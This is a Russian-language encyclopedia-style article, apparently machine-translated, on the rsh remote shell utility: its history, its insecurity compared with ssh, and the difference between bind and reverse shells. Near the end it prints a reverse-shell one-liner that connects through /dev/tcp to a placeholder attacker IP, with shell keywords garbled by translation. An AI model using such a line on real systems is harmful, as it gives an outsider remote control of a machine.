Удаленная оболочка ( rsh ) — это компьютерная программа командной строки , которая может выполнять команды оболочки от имени другого пользователя и на другом компьютере в компьютерной сети .
Удаленная система, к которой подключается rsh, запускает демон rsh (rshd). Демон обычно использует порт 513 известного протокола управления передачей (TCP) .
Rsh возник как часть операционной системы BSD Unix , наряду с rcp , как часть пакета rlogin для версии 4.2BSD в 1983 году. С тех пор rsh был портирован на другие операционные системы.
Команда rsh
имеет то же имя, что и другая распространенная утилита UNIX, ограниченная оболочка , которая впервые появилась в PWB/UNIX ; в System V Release 4 оболочка с ограниченным доступом часто располагается по адресу /usr/bin/rsh
.
Как и другие r-команды Berkeley , которые включают аутентификацию пользователя, протокол rsh небезопасен для использования в сети, поскольку, среди прочего, он отправляет незашифрованную информацию по сети. Некоторые реализации также аутентифицируются путем отправки незашифрованных паролей по сети. rsh в значительной степени был заменен программой Secure Shell (ssh), даже в локальных сетях. [1] [2]
В качестве примера использования rsh, следующий пример выполняет команду mkdir testdir от имени пользователя удаленного пользователя на компьютере host.example.com, на котором работает UNIX-подобная система:
$ rsh -l удаленный пользователь хост.example.com "mkdir testdir"
После завершения команды rsh завершается. Если команда не указана, rsh войдет в удаленную систему с помощью rlogin . Сетевое расположение удаленного компьютера определяется с помощью системы доменных имен .
Сеанс удаленной оболочки может быть инициирован либо локальным устройством (которое отправляет команды), либо удаленным устройством (на котором выполняются команды). [3] В первом случае удаленная оболочка будет называться привязкой оболочки, во втором случае - обратной оболочкой. [4]
Обратную оболочку можно использовать, когда устройство, на котором должна быть выполнена команда, недоступно напрямую — например, для удаленного обслуживания компьютеров, расположенных за NAT, к которым невозможно получить доступ извне. [5] [6] Некоторые эксплойты создают обратную оболочку от атакованного устройства обратно на машины, контролируемые злоумышленниками (так называемая «атака с обратной оболочкой»). Следующий код демонстрирует обратную атаку оболочки: [7]
$ exec 5 <>/dev/tcp/<IP-адрес атакующего>/80 ; кот < & 5 | во время чтения строки ; do \$ line 2 > & 5 > & 5 ; сделанный
Он открывает TCP-сокет для IP-адреса злоумышленника на порту 80 в качестве файлового дескриптора . Затем он неоднократно считывает строки из сокета и запускает строку, передавая стандартный вывод и стандартный поток ошибок обратно в сокет. Другими словами, он предоставляет злоумышленнику удаленную оболочку на машине.